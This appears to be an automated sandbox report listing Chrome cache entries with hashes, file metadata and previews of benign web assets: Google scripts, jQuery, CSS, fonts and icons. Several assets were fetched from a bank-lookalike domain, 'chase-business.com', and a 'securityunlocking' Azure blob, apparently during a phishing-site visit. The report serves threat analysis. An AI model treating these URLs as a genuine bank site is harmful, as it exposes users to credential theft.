SSDEEP:	1536:a38X0GC10GQWUl5wj77Z9HUvcIXC8HU2jB1otsJoIgTkoP:a7GoY07Z9HUvcIXC8HU2j/rijTkoP
MD5:	27B39AE6F6E1418FF0E4B48CB096B2FF
SHA1:	EBD921C776A34D3615C996FE006F949F34FE3103
SHA-256:	E7757404FFE1683F4E24A99074572EF636DB79BA94178E2DE41B7F67AA9DD37D
SHA-512:	BBFD400729319E5D11C34CE50061603F6984D38CAD79725F1D1D7ADFF91AC317CA56DD733F6FCA908DAD7C2C8695C196EC5FBCEE42FA8328D5A86EDFA30D1BCE
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.6A8Xl22W-fQ.O/am=MBg/d=0/rs=AO0039vPMRCdwAYYEF59kJuKbFDTiIPtsw/m=sy6p,sy10,sy6w,sy74,sy75,sy77,sy76,sy7a,rj51oe,gypOCd"
Preview:	try{.var Lle=function(){QL.apply(this,arguments)};P(Lle,QL);Lle.prototype.enqueue=function(a,b){this.insert(a,b)};var Mle=function(a,b){a%=b;return a*b<0?a+b:a},Nle=function(a){return 1-Math.pow(1-a,3)};.}catch(e){_DumpException(e)}.try{.var sNc=function(){return faa&&ha?!ha.mobile&&(ja("iPad")\|\|ja("Android")\|\|ja("Silk")):ja("iPad")\|\|ja("Android")&&!ja("Mobile")\|\|ja("Silk")},pQ=function(){return!(faa&&ha?ha.mobile:!sNc()&&(ja("iPod")\|\|ja("iPhone")\|\|ja("Android")\|\|ja("IEMobile")))&&!sNc()};.}catch(e){_DumpException(e)}.try{.var i3e=function(a,b){this.C=a instanceof Lv?a:new Lv(a,b)};Ck(i3e,fBb);i3e.prototype.Md=function(a,b,c,d){var e=Vf(a);var f=e.body;e=e.documentElement;e=new Lv(f.scrollLeft\|\|e.scrollLeft,f.scrollTop\|\|e.scrollTop);f=this.C.x+e.x;e=this.C.y+e.y;var g=gBb(a);f-=g.x;e-=g.y;bH(new Lv(f,e),a,b,c,null,null,d)};var j3e=function(a,b){i3e.call(this,a,b)};Ck(j3e,i3e);j3e.prototype.F=0;j3e.prototype.D=function(a){this.F=a};.j3e.prototype.Md=function(a,b,c,d){var e=Vx(cWa(a)),f=

Chrome Cache Entry: 105

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (644)
Category:	dropped
Size (bytes):	6374
Entropy (8bit):	5.43971618560427
Encrypted:	false
SSDEEP:	96:9LZw/hvZLoYWBPPeyWNgdpQgz5hKJn/1pdytkT8zprRWsGO:vGvZqteyyafKp/1pQtkwVrRWVO
MD5:	DB626CC09E25EEB9EB6D92EDDA4D5B1A
SHA1:	456D3AE744482E6F32C590B03FD3066D98B4A493
SHA-256:	5722A7EC7393071917438A03A109602E17B76937273C08A45E62655D67CCBB4D
SHA-512:	AD5F37A3A420EC1B3C9B15635BD2791C41054100ADAD1FDE26BA4E7BABA85AA7D918E8948EA0E890275A55AD2818F0D4591C7655EFCFB72FE2FC234FE169FAD1
Malicious:	false
Reputation:	low
Preview:	try{.C("MpJwZc");..D();.}catch(e){_DumpException(e)}.try{.C("UUJqVe");..D();.}catch(e){_DumpException(e)}.try{.bg(AA);.}catch(e){_DumpException(e)}.try{.C("s39S4");.var AFc=function(a,b,c){c?a.setAttribute(b,c):a.removeAttribute(b);a.hasAttribute("c-wiz")\|\|(b=a,a.tagName==="C-DATA"&&(b=a.parentElement),I1a(b,!1))},BFc=function(a,b,c){var d=a.getAttribute(b)\|\|"";c=String(c\|\|"");c=c.split(";").filter(function(e){return e});d=d.split(";").filter(function(e){return yh(e,":.CLIENT")});Ba(c,d);(c=c.join(";"))?a.setAttribute(b,c):a.removeAttribute(b);ola(a)},FFc=function(){CFc\|\|(CFc=!0,DFc=Aja,Aja=function(a){DFc&&DFc(a);for(var b=0;b<a.length;b++){var c=a[b];Mf(c)&&.cg(Vf(c)).GWa(c)}},EFc=Bja,Bja=function(a){EFc&&EFc(a);for(var b=0;b<a.length;b++){var c=a[b];Mf(c)&&cg(Vf(c)).HWa(c)}})},cP=function(a,b){a.H=b},GFc=function(a){if(a=a\|\|document.body){var b=document.head.querySelector("style[data-late-css]");a=n(Array.from(a.querySelectorAll("style[data-server-css-collection], link[data-server-c

Chrome Cache Entry: 106

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	259
Entropy (8bit):	6.7268503778685105
Encrypted:	false
SSDEEP:	6:6v/lhPeoMMphEt0Sa2AKhmC4cR5HIQoplQfQjy30up:6v/7bn2AKhmMjHv2lQfQjw0c
MD5:	AF848AEE503A57E479B0FB57318F3F2F
SHA1:	68FE7097531D492691C6FA3454C8192D13E8572F
SHA-256:	33DD0582F6972DDDB05BEE6FD5EA0312FBD782A8003F4C7876AFEBD0F08F49AD
SHA-512:	1225614BBD2BD8DCF57B31759093EC92096A16AB428DE43606A8F71367BF247B9ADFE1F2C18E5F7156A216CBC4B35CF5070A39E4740FBDE1BAE5709D43734619
Malicious:	false
Reputation:	low
URL:	https://ssl.gstatic.com/docs/doclist/images/mediatype/icon_3_pdf_x16.png
Preview:	.PNG........IHDR................a....IDATx.cx.l......+g.....N... ...=....D.\|Y8.......]Z...E.p....`5.....}.lD5..3.....?.......?..8..D......H.....n..(?..r.....L3....\|.....cm...@j@..j.8..\|T/ ....4...^..P>PC:<.>#......CBz.d..".^8.....h......V...Q......IEND.B`.

Chrome Cache Entry: 107

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65450), with CRLF line terminators
Category:	downloaded
Size (bytes):	86929
Entropy (8bit):	5.289492706499139
Encrypted:	false
SSDEEP:	1536:aLiBdiaWLOczCmZx6+VWuGzQNOzdn6x2RZd9SEnk9HB96c9Yo/NWLbVj3kC6ta:+kn6x2xe9NK6nC6E
MD5:	378087A64E1394FC51F300BB9C11878C
SHA1:	0C3192B500A4FD550E483CF77A49806A5872185B
SHA-256:	4FE68FA216176E6D1F4580E924BAFECC9F519984ECC06B1A840A08B0D88C95DE
SHA-512:	9A2C70516EA0C8C37C7F072F214DE0AFD5DDEB643C6B5D3FA8ADE3EF8D2CE40BDF8B1B1194BAD296E9075562701EE7DAE48B18144B1CD2D735328BE5A3ACCBE6
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/js/jquery3_3_1.min.js
Preview:	/! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /..!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t\|\|r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?l[c.call(e)]\|\|"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)}

Chrome Cache Entry: 108

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (501)
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	5.277949266142675
Encrypted:	false
SSDEEP:	24:N1XIbtEHvIYWwmqAK/HJ2cNAXzk5vuHM8aJLtMCRWZ4FhQ:N1XmtEPT6cLAXzk5kaJL+CwYhQ
MD5:	9AA60F647010B80DFDA3AC5381E8EDF8
SHA1:	117DFDEE7502F2DF9C5E7B85A3492D3FD8C78828
SHA-256:	3F2B738B2AE0453D236AC241DA7850CA41AC6973E1DE964F401ADE1AB97FB9A0
SHA-512:	624CA1372A8B96420566EAC6382D9D97BF863196C50FF70D63931BDE35B479A6396AE2F10961D889AFF8D54D8E47E9E9813A6C6C6945EF13BAB52ACB177891A9
Malicious:	false
Reputation:	low
Preview:	var scriptUrl = 'https:\/\/youtube.googleapis.com\/s\/player\/03dbdfab\/www-widgetapi.vflset\/www-widgetapi.js';try{var ttPolicy=window.trustedTypes.createPolicy("youtube-widget-api",{createScriptURL:function(x){return x}});scriptUrl=ttPolicy.createScriptURL(scriptUrl)}catch(e){}var YT;if(!window["YT"])YT={loading:0,loaded:0};var YTConfig;if(!window["YTConfig"])YTConfig={"host":"https://www.youtube.com"};.if(!YT.loading){YT.loading=1;(function(){var l=[];YT.ready=function(f){if(YT.loaded)f();else l.push(f)};window.onYTReady=function(){YT.loaded=1;var i=0;for(;i<l.length;i++)try{l[i]()}catch(e){}};YT.setConfig=function(c){var k;for(k in c)if(c.hasOwnProperty(k))YTConfig[k]=c[k]};var a=document.createElement("script");a.type="text/javascript";a.id="www-widgetapi-script";a.src=scriptUrl;a.async=true;var c=document.currentScript;if(c){var n=c.nonce\|\|c.getAttribute("nonce");if(n)a.setAttribute("nonce",.n)}var b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b)})()};.

Chrome Cache Entry: 109

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	121112
Entropy (8bit):	5.837130305275228
Encrypted:	false
SSDEEP:	3072:kyW/Za21hsq1xCLqrQcS8xriAX7E1fbaRrcjSbPxtKDY/Ji/JPvhv:kyWhvHCLqEcS8xOAX7E1f2BPM
MD5:	EAAA71ED8F32B85F24FD3EBC43535BCC
SHA1:	CFFB0A1096D61DC0BA476D19381806BEC8264EF4
SHA-256:	AF2F1227E6BE9926C8A5E9FC5FCE394C150E19412248A3C8F9BC65076E3AECBB
SHA-512:	F178343DFD51C11A326D2322830436188122A3F56BF964C8075291F0D41489048735A356A605579F28B7DA67FFFDB87C2D390D82CE8AB61A54A907AD02CE49C2
Malicious:	false
Reputation:	low
Preview:	<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0" y="0" width="31px" height="4060px" viewBox="0 0 31 4060" preserveAspectRatio="none"><g transform="translate(0,2170)"><path d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 14H4V4h16v12zm-9-5H7V9h4V5h2v4h4v2h-4v4h-2v-4z"/></g><g transform="translate(0,2428)"><path fill="#C4C7C5" d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 14H4V4h16v12zm-9-5H7V9h4V5h2v4h4v2h-4v4h-2v-4z"/></g><g transform="translate(0,3396)"><path d="M17.705 10.1401L14.3 4H9.70001L3.60001 15L5.70001 19H13.8027C14.2671 19.8028 14.9121 20.488 15.6822 21H5.70001C5.00001 21 4.30001 20.6 3.90001 19.9L1.80001 15.9C1.50001 15.3 1.50001 14.6 1.80001 14L8.00001 3C8.30001 2.4 9.00001 2 9.70001 2H14.3C15 2 15.7 2.4 16.1 3L20.0307 10.0882C19.6959 10

Chrome Cache Entry: 110

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	831
Entropy (8bit):	7.690596689293278
Encrypted:	false
SSDEEP:	24:ars5HGJLO4eG5bQxWGUpbIW779bHBoLU489YmBZo:arssA4L6hvaZ7wv8mmI
MD5:	916C9BCCCF19525AD9D3CD1514008746
SHA1:	9CCCE6978D2417927B5150FFAAC22F907FF27B6E
SHA-256:	358E814139D3ED8469B36935A071BE6696CCAD7DD9BDBFDB80C052B068AE2A50
SHA-512:	B73C1A81997ABE12DBA4AE1FA38F070079448C3798E7161C9262CCBA6EE6A91E8A243F0E4888C8AEF33CE1CF83818FC44C85AE454A522A079D08121CD8628D00
Malicious:	false
Reputation:	low
URL:	https://ssl.gstatic.com/images/branding/product/1x/drive_2020q4_32dp.png
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b .....+......m..dW.@..tm.Y.....m.....m.m..L.\|.....{..b...t..........=H..qt..V..X..<jQc...p...fdU.\2.....9T...Jz!9...L.)&.....n....`~.T.\.\.$.....qQ.....LFOx......^&,"bB..Lh9$_.6<...A...Q.T&y.,'...p...W`.2.?X(.o.4.J?.2...@.4.....X..c......[UZJ...MN.].z..f..DFe.J.....:!r...0X......).....^..!....u..c..R4.GH....Y....E....Q......+!..)...e"......,.Ge.r.T..!..r..(.\|.9f...}......(...s..N...[..~.%6QF..g..r......CN.e"(..uY.h._1.H.e....r.k..%^S.c..<..0.s.j..,D........]..y.2(..OC.o\.3..".....cw...:;.btq......w=.......R-[].4..]...?.....o..K../cC.<O...y..O.......{.-'Ln9..M.*6t.(.........o.K.$....bz.X._d......Z].U.....t....Bf.Zl.^vA._..g.{l....V...{....=.jua..[...k......j....Y\...!..+.m..X..t(....."..Mz.26l....7X.C...-...Z.lvl.......y}x..........7.m.VV....IEND.B`.

Chrome Cache Entry: 111

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	162766
Entropy (8bit):	5.059354942429979
Encrypted:	false
SSDEEP:	1536:+Egolk0UVv+caLgubiOH7Gt3s/45nwSkGvYXItBCrCnWnNnG77KzEdZTRpZTRrVz:f7qOo
MD5:	160971268967AA02E1EA5BC7FBFBC4E2
SHA1:	027D4BB49B0D99B5FA16774583EA2FF140631428
SHA-256:	24CE22527BEB2CB7CB5C8E98D767C5697D414C1A4122226A7D19B8F7B9A244C6
SHA-512:	EF97973C07D4185724F68D6F37D0C2D8D0B498BCFDA61C12583AA2227FD4C16AC1DBB2386B6DFBAEBCF44D6D191A842CC740C50B6E1C80E2C9AC32B811393A1B
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/css/logon.css
Preview:	.bottomSheetContainer,.bottomSheetHeader{outline-style:none}#forgot-password-container .password-reset-header-label,#serviceErrorDialog.jpui.modal .single-button,#sessionTimeoutDialog.jpui.modal .single-button,#transactionConfirmation .confirmation-button-container,.email-marketing-preferences .preferences-footer-disclaimer,.footer-container .footer-links ul,.manageaccount .galaxy-footer,.manageaccount .logonbox-links,.marketing-preference-footer-container .footer-links ul,.msd .text.centered{text-align:center}.msd .text.right{text-align:right}.msd .text.small{font-size:.75rem!important;font-weight:600}.msd .text.blue{color:#126bc5;font-style:normal}.msd .text.inline{vertical-align:middle}.msd .text.inline a{color:#126bc5;text-decoration:none}.logon .hidden,.mds-d-none,.msd .hidden,[hidden]{display:none!important}.msd .linked-label{font-size:16px!important;display:block!important;margin:1em 0;padding:0;line-height:1.1em}.msd input:-moz-focusring{outline:dotted 1px}.margin-bottom-20px{m

Chrome Cache Entry: 112

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 4 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	32038
Entropy (8bit):	2.618648465767992
Encrypted:	false
SSDEEP:	384:6RBHHHHXHHHHdX9ZstMIQ591vvvvvvvv:6RBHHHHXHHHHdX9+z
MD5:	5744986EB3DC6F2DA92157A651889902
SHA1:	5A558B58498FAB2AEB742ACDAB51E0C2FBC78385
SHA-256:	625816F80596303E9DE8E68695973369FAA462B416202825B03899C781464FB9
SHA-512:	CFA4C0179C3B5821F2BAF864A01E2C601653E93823C925FA9A265914768D88CA03BF4B752DE7D6BD48DE12B60069A3DEF1D1F4DE3F230975E459F56B440EFD6E
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/chasefavicon.ico
Preview:	............ .h...F... .... .........00.... ..%..V...@@.... .(B...:..(....... ..... .....@........................................\.5.\.?.\.?.\.?.\.).........................................\.k.\...\...\...\...\..\.5.\.3.............................\.W.\...\...\...\...\...\..\.G.\..\.C.....................\.C.\...\...\...\...\...\...\..\.G.\...\...\.W.............\.3.\..\...\...\...\...\...\...\..\.G.\...\...\...\.k.........\.3.\.G.\.G.\.G.\.G.\.G.\.G.\.G.\.;.\.G.\...\...\...\...\.7.\.).\..\..\..\..\.;.................\.G.\...\...\...\...\.?.\.?.\...\...\...\...\.G.................\.G.\...\...\...\...\.?.\.?.\...\...\...\...\.G.................\.G.\...\...\...\...\.?.\.?.\...\...\...\...\.G.................\.;.\..\..\..\..\.).\.7.\...\...\...\...\.G.\.;.\.G.\.G.\.G.\.G.\.G.\.G.\.G.\.3.........\.k.\...\...\...\.G.\..\...\...\...\...\...\...\..\.1.............\.W.\...\...\.G.\..\...\...\...\...\...\...\.A.....................\.C.\..\.G.\..\...\...\...\...\...\.U......

Chrome Cache Entry: 113

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	831
Entropy (8bit):	7.690596689293278
Encrypted:	false
SSDEEP:	24:ars5HGJLO4eG5bQxWGUpbIW779bHBoLU489YmBZo:arssA4L6hvaZ7wv8mmI
MD5:	916C9BCCCF19525AD9D3CD1514008746
SHA1:	9CCCE6978D2417927B5150FFAAC22F907FF27B6E
SHA-256:	358E814139D3ED8469B36935A071BE6696CCAD7DD9BDBFDB80C052B068AE2A50
SHA-512:	B73C1A81997ABE12DBA4AE1FA38F070079448C3798E7161C9262CCBA6EE6A91E8A243F0E4888C8AEF33CE1CF83818FC44C85AE454A522A079D08121CD8628D00
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b .....+......m..dW.@..tm.Y.....m.....m.m..L.\|.....{..b...t..........=H..qt..V..X..<jQc...p...fdU.\2.....9T...Jz!9...L.)&.....n....`~.T.\.\.$.....qQ.....LFOx......^&,"bB..Lh9$_.6<...A...Q.T&y.,'...p...W`.2.?X(.o.4.J?.2...@.4.....X..c......[UZJ...MN.].z..f..DFe.J.....:!r...0X......).....^..!....u..c..R4.GH....Y....E....Q......+!..)...e"......,.Ge.r.T..!..r..(.\|.9f...}......(...s..N...[..~.%6QF..g..r......CN.e"(..uY.h._1.H.e....r.k..%^S.c..<..0.s.j..,D........]..y.2(..OC.o\.3..".....cw...:;.btq......w=.......R-[].4..]...?.....o..K../cC.<O...y..O.......{.-'Ln9..M.*6t.(.........o.K.$....bz.X._d......Z].U.....t....Bf.Zl.^vA._..g.{l....V...{....=.jua..[...k......j....Y\...!..+.m..X..t(....."..Mz.26l....7X.C...-...Z.lvl.......y}x..........7.m.VV....IEND.B`.

Chrome Cache Entry: 114

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (501)
Category:	downloaded
Size (bytes):	1000
Entropy (8bit):	5.277949266142675
Encrypted:	false
SSDEEP:	24:N1XIbtEHvIYWwmqAK/HJ2cNAXzk5vuHM8aJLtMCRWZ4FhQ:N1XmtEPT6cLAXzk5kaJL+CwYhQ
MD5:	9AA60F647010B80DFDA3AC5381E8EDF8
SHA1:	117DFDEE7502F2DF9C5E7B85A3492D3FD8C78828
SHA-256:	3F2B738B2AE0453D236AC241DA7850CA41AC6973E1DE964F401ADE1AB97FB9A0
SHA-512:	624CA1372A8B96420566EAC6382D9D97BF863196C50FF70D63931BDE35B479A6396AE2F10961D889AFF8D54D8E47E9E9813A6C6C6945EF13BAB52ACB177891A9
Malicious:	false
Reputation:	low
URL:	https://youtube.googleapis.com/iframe_api
Preview:	var scriptUrl = 'https:\/\/youtube.googleapis.com\/s\/player\/03dbdfab\/www-widgetapi.vflset\/www-widgetapi.js';try{var ttPolicy=window.trustedTypes.createPolicy("youtube-widget-api",{createScriptURL:function(x){return x}});scriptUrl=ttPolicy.createScriptURL(scriptUrl)}catch(e){}var YT;if(!window["YT"])YT={loading:0,loaded:0};var YTConfig;if(!window["YTConfig"])YTConfig={"host":"https://www.youtube.com"};.if(!YT.loading){YT.loading=1;(function(){var l=[];YT.ready=function(f){if(YT.loaded)f();else l.push(f)};window.onYTReady=function(){YT.loaded=1;var i=0;for(;i<l.length;i++)try{l[i]()}catch(e){}};YT.setConfig=function(c){var k;for(k in c)if(c.hasOwnProperty(k))YTConfig[k]=c[k]};var a=document.createElement("script");a.type="text/javascript";a.id="www-widgetapi-script";a.src=scriptUrl;a.async=true;var c=document.currentScript;if(c){var n=c.nonce\|\|c.getAttribute("nonce");if(n)a.setAttribute("nonce",.n)}var b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b)})()};.

Chrome Cache Entry: 115

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 24876, version 1.0
Category:	downloaded
Size (bytes):	24876
Entropy (8bit):	7.9756615677862515
Encrypted:	false
SSDEEP:	768:ymVGM9ztUqDxEUYTeTm4fccTnaZdnmKax:PVJ9ztUq1J4cTaZ1m9x
MD5:	4EEEDB4BC24C1CAE309E117EEA3F102F
SHA1:	AD5A141EF39AD1ADA22A464FCD3678FCF72AC22B
SHA-256:	B8422277FC69C8E6AB51112DBF25048E40425CC497490FEE251B56D7EF0CA179
SHA-512:	9156EAFFE8465D252BCE751282EB89A07874A5C716F121009BB399FBD0124E36C79F7E8DFDE30B2E78952E6D22E71B66F2C74C3EF28FA7766BF3D1C4E003E6DA
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/fonts/opensans-regular.woff
Preview:	wOFF......a,.......<........................FFTM............f.r.GDEF........... ....GPOS............,..XGSUB.............^..OS/2.......`...`..cmap...l.........@X.cvt .......F...F.[.7fpgm...<.......eS./.gasp................glyf......L......evQhead..W....2...6.6.hhea..X........$.s.?hmtx..X4...7.....CX.loca..Zl........y.W:maxp..\8... ... ....name..\X.......zQ...post..^X.........x2.prep..`H.......\|.V..webf..a$..........UT.........=.......51......z..x.c`d``..b...`b`..@...1...M....x..KlTU...3.a.......26....I..j.Z..i.......BBcHL.....0!.+9<j.L..Y.R..2LW,..im...IW..!..s.).H..\|...9......=s..T.n}.HK..z...zw....;U../wk."..X...7..;zw+.."..c\.xo.].t+t84...w..p....s....}0..)r/r/....-t8.L.6......wm..X..'c{.I..oD.....4........)Y.....IOx::O.w.....T..G.zUM..f=..b^....:..u.fH.....q....8...d. ..A...{......`...9..y...0..`....L...\.kp...M.?.u...)..A=....7....KB3\|.......{8....{.N.I...&.S.!....%f%.p....g.g.\|Mx%a!.%.%.%.%.%.%W)..bO..,<....D..@4G4........... ...P....i...`.R........u.

Chrome Cache Entry: 116

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15844, version 1.0
Category:	downloaded
Size (bytes):	15844
Entropy (8bit):	7.986244297125621
Encrypted:	false
SSDEEP:	384:0R6Km4yijh4fD2bcmxSXvr3XlQS09DiSuy5:lKHyUKv7qS0YSt
MD5:	EC17B8A4B615BCFD221D30BA412F3B16
SHA1:	D72C8A5B499A2FA7653746C03EB3223F0EAF88EA
SHA-256:	7C666230EF68413B148AA5F83714DB3BC80C28466962F506952C7B2E516D6403
SHA-512:	42B6F29B139C5A63B350B822557C9D1DBCFFDB8830E0AEF328B01CD8DF720C1E0ADB625B8AA4833B074E1ABF85C1657547BBF2DBFA176FA83FD86333A3391DC3
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPjYUvaYr.woff2
Preview:	wOF2......=...........=r................................l?HVAR.#.`?STAT..'...H/<....$....j.0.".6.$..P. ..B.......z..6.xv;x.'..g.bp.d........@.......J..0.L......V.<.u.pA.x.c...g2..8....T$.>.<..F~.u.&. .....X..au.....A.....OX.X..].V.n..$+4[.qqe.,.A....-~....e?......I...<..F.$'.......E.....O....PL.. .4..."JU.........xq.I.........At.I..t]#...N....p.xXB.. Y....7...I".D$........T..tV}.(.J%B.m5.....h..]._.....{z..../..{1.[2.;5l\Ab@"...D.p.n..f.V.x.......I ...).O.&&..{.{w^./...a.?.@e.....<.Y./[.bK..b2..^...0.........o.;.9`'92..$I.......B.c..Jv..{....P..L.D./..23.f..+7..+..p,?.\o...T..0.J...............z..Py..[........4k.o.)D..r...U..".4.q....q!.I....Q6.W.,...j^.?>`.P....{yh58..QN...........$%...............!..%.R.r.....l(...y9.W:...M.L}........S...4......Z.\\|......jSZE..LX.$........l...F,.!.(.1..y...M&...dk..(.D....R.....E....7...Y0.qv.t........Z.i.u.l."..g!g#.(.dl....s..iau.........#,..a.C.._...!=>k.J.L..pf.\|..../.... .....K.....9P

Chrome Cache Entry: 117

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 14504, version 1.1
Category:	downloaded
Size (bytes):	14504
Entropy (8bit):	7.9446561380897025
Encrypted:	false
SSDEEP:	384:8uIxIiUCAJw4MdmOml3qfgRfIh7dTEKXk7O7O37fOIOySnnZ:8/4Ta4yXml3uuIh7dTEPS8hqnZ
MD5:	3CCBD41BFD4962B57199A8FCFBCBDE66
SHA1:	6ABB08BFA56A3668B8DF2FD3EA5C04774F12B920
SHA-256:	0634F735018D63980FB935914BD910EBD51ED5ED0A03C8811607ACA0C2E7C532
SHA-512:	6B4D1C70227086897C0A917596562175EFCC9FFED4C08424F32583DCF7780C69911B01823166AF87C5F6D6D42DA242CD8645325CC84C9E459E65E96B48CF833F
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/fonts/opensans-bold.woff
Preview:	wOFF......8.......b.........................GDEF...X............GPOS...p............GSUB...\|............OS/2.......`...`.u..cmap...............gasp...x............glyf......#...4...39head..&T...6...6...hhea..&........$.)..hmtx..&........P..L.kern..(............loca..2.............maxp..4l... ... .a..name..4.........2.%post..70...w....T...............................................................3.......3.....f..................@. [...(....1ASC. . ...........X ........^..... ..x.c```d`.b.......@Z.A...`.`.d.c8.p..?.!c0.1.[Lw.D.........\.J.......T......... .Ja.....JK.....:.?........=.s..........}.......t=.y..t......3.............x..z.\T...Y..9........8.....0...$.Q........?...............L.\S#...M.\|\|.^..fj....{.a..>..6.sXg...Z{..^{..!....{.>.....Qh..[...M:.3..........q........@.k.._..R........pEB.).1..p.?.v16.>f.....%\|...5........FO...G....9./..E..Z.....kTd...~..#.:.y=..dz......_..9.a..S+..;@...q,.B.Cs.....:.3a#...u.6...={...&.s..:q...7......C.pqQ+t...?..A.rQ...u

Chrome Cache Entry: 118

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text
Category:	downloaded
Size (bytes):	226
Entropy (8bit):	5.251516902960298
Encrypted:	false
SSDEEP:	6:JiMVBdgqZj8DHgWdzRiAU2uvxV1izVudV6RIOPFFXg6n:MMHdVBMHgWdzR05i5TP46
MD5:	B42CBA074AA8BBC9AE748C690DD216A8
SHA1:	9C6D3479C0BD3021D72C805994CFFEE13E2C24FA
SHA-256:	3821D877BB082BE199F03884FFD6C7EE621CCA9A1D359F17A4B7FBA6B769E7AD
SHA-512:	25A5953DFE74E52BE392361243225F55A353C3FEBEFDDA441864A5EF14334E9A4D1E6D1087FD72A0D51A9238498142083C0E5C49140158813DF692443F7DDCF6
Malicious:	false
Reputation:	low
URL:	https://securityunlocking.blob.core.windows.net/favicon.ico
Preview:	.<?xml version="1.0" encoding="utf-8"?><Error><Code>OutOfRangeInput</Code><Message>One of the request inputs is out of range..RequestId:db714714-101e-00a1-5275-523e07000000.Time:2024-12-20T00:21:38.3518049Z</Message></Error>

Chrome Cache Entry: 119

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (644)
Category:	downloaded
Size (bytes):	6374
Entropy (8bit):	5.43971618560427
Encrypted:	false
SSDEEP:	96:9LZw/hvZLoYWBPPeyWNgdpQgz5hKJn/1pdytkT8zprRWsGO:vGvZqteyyafKp/1pQtkwVrRWVO
MD5:	DB626CC09E25EEB9EB6D92EDDA4D5B1A
SHA1:	456D3AE744482E6F32C590B03FD3066D98B4A493
SHA-256:	5722A7EC7393071917438A03A109602E17B76937273C08A45E62655D67CCBB4D
SHA-512:	AD5F37A3A420EC1B3C9B15635BD2791C41054100ADAD1FDE26BA4E7BABA85AA7D918E8948EA0E890275A55AD2818F0D4591C7655EFCFB72FE2FC234FE169FAD1
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.6A8Xl22W-fQ.O/am=MBg/d=0/rs=AO0039vPMRCdwAYYEF59kJuKbFDTiIPtsw/m=MpJwZc,UUJqVe,sy3,s39S4,syk,pw70Gc"
